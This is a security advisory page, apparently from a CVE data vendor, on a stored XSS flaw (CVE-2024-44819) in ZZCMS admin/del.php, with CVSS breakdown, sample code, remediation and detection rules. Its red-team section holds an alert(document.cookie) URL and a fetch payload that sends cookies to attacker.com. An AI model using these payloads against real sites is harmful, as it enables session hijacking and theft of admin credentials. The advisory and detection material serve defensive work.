CVE-2024-44819
Executive Summary
CVE-2024-44819 identifies a stored Cross-Site Scripting (XSS) vulnerability in ZZCMS versions 2023 and earlier. The flaw resides in the admin/del.php component, specifically within the pagename parameter. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into the pagename parameter. When the crafted page name is rendered in the admin panel, the malicious script executes in the context of the victim administrator's browser, potentially leading to session hijacking, credential theft, or further compromise of the CMS backend.
This vulnerability is classified as a Stored XSS because the injected payload persists in the application (likely in the page name field) and is served to other admin users when they view the affected page list. The CVSS score is 4.8 (Medium), reflecting the need for authentication and user interaction, but the impact is amplified in a shared admin environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ZZCMS is a PHP-based content management system. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). The risk is confined to the ZZCMS application itself. No known supply chain compromise has been identified.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker must have admin-level access to ZZCMS.
- User Interaction (UI): Required (R) – The victim admin must view the malicious page.
- Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal cookies from the admin session).
- Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content (e.g., inject forms).
- Availability (A): None (N) – No impact on availability.
Overall CVSS Score: 4.8 (Medium)
Threat Level: Medium. Exploitation requires admin credentials, but once achieved, the attacker can pivot to compromise other admin sessions and potentially the entire CMS.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the admin/del.php script. The pagename parameter is used to identify which page to delete. However, the application does not properly sanitize or escape this parameter before storing it in the database or rendering it in the admin interface.
Attack Flow:
- An authenticated admin user crafts a malicious request to
admin/del.phpwith apagenameparameter containing JavaScript, e.g.,pagename=<script>alert('XSS')</script>. - The application stores this payload in the database as the page name.
- When another admin (or the same admin) navigates to the page list or deletion confirmation page, the stored payload is rendered without proper encoding.
- The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding when displaying the pagename value in the admin panel. The application likely uses echo $pagename; instead of echo htmlspecialchars($pagename, ENT_QUOTES, 'UTF-8');.
Vulnerable vs. Patched Code
Vulnerable Code (ZZCMS <= 2023):
// admin/del.php (simplified)
$pagename = $_GET['pagename'];
// ... store $pagename in database ...
// Later, when displaying:
echo "Are you sure you want to delete page: " . $pagename;
Patched Code (Hypothetical):
// admin/del.php (patched)
$pagename = htmlspecialchars($_GET['pagename'], ENT_QUOTES, 'UTF-8');
// ... store $pagename in database ...
// Later, when displaying:
echo "Are you sure you want to delete page: " . $pagename;
Key Difference: The patched version uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Prerequisites:
- Access to a ZZCMS instance (version 2023 or earlier) with admin credentials.
- A web browser or tool like Burp Suite.
Exploit Steps:
- Log in to ZZCMS admin panel.
- Navigate to
admin/del.php(or the page management section). - Intercept the request (e.g., using Burp Suite) or craft a direct URL:
http://target.com/admin/del.php?pagename=<script>alert(document.cookie)</script> - Submit the request. The payload is stored.
- As the victim admin, navigate to the page list or any page that displays the stored page name. The script executes.
Advanced Payload (Session Hijacking):
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor admin panel access logs for unusual
pagenameparameters containing<script>,onerror=,javascript:, etc. - Use a Web Application Firewall (WAF) to block XSS patterns in the
pagenameparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Apply input validation: Only allow alphanumeric characters, hyphens, and underscores in
pagename. - Apply output encoding: Use
htmlspecialchars()or a templating engine that auto-escapes. - Restrict admin panel access to trusted IPs.
- Regularly update ZZCMS if patches become available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/admin/del.phpwithpagenamecontaining<script>tags or event handlers. - Outbound connections from the ZZCMS server to unknown IPs (e.g., for cookie exfiltration).
- HTTP requests to
- File IOCs:
- Modified entries in the ZZCMS database
pagestable wherepagenamecontains HTML/JavaScript.
- Modified entries in the ZZCMS database
- Log IOCs:
- Web server logs showing
pagename=<script>in the query string. - Admin activity logs showing unusual page names.
- Web server logs showing
Detection Engineering
YARA Rule
rule detect_zzcms_xss_pagename {
meta:
description = "Detects XSS payload in ZZCMS pagename parameter"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-44819"
strings:
$xss_payload = /pagename=.*<script[^>]*>.*<\/script>/i
$xss_event = /pagename=.*on\w+\s*=/i
condition:
any of them
}
Sigma Rule
title: ZZCMS Stored XSS via pagename Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-44819 by injecting XSS payloads into the pagename parameter of admin/del.php.
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "pagename=<script"
- "pagename=javascript:"
- "pagename=onerror="
condition: selection
falsepositives:
- Legitimate use of JavaScript in page names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-44819 ZZCMS Stored XSS Attempt"; flow:to_server,established; content:"/admin/del.php"; http_uri; content:"pagename="; http_uri; pcre:"/pagename=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
admin/del.phpendpoint if not required, or restrict access via.htaccessor firewall rules. - Apply input validation: Only allow safe characters (a-z, A-Z, 0-9,
-,_) in thepagenameparameter. - Apply output encoding: Modify the code to use
htmlspecialchars()when displayingpagename.
Long-Term Fix:
- Upgrade to a patched version of ZZCMS if the vendor releases one.
- Implement a Content Security Policy (CSP) header to block inline scripts.
- Conduct a full security audit of the admin panel for similar XSS vulnerabilities.
Workaround:
- Use a Web Application Firewall (WAF) with rules to block XSS patterns in the
pagenameparameter. - Monitor logs for suspicious activity and block offending IPs.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.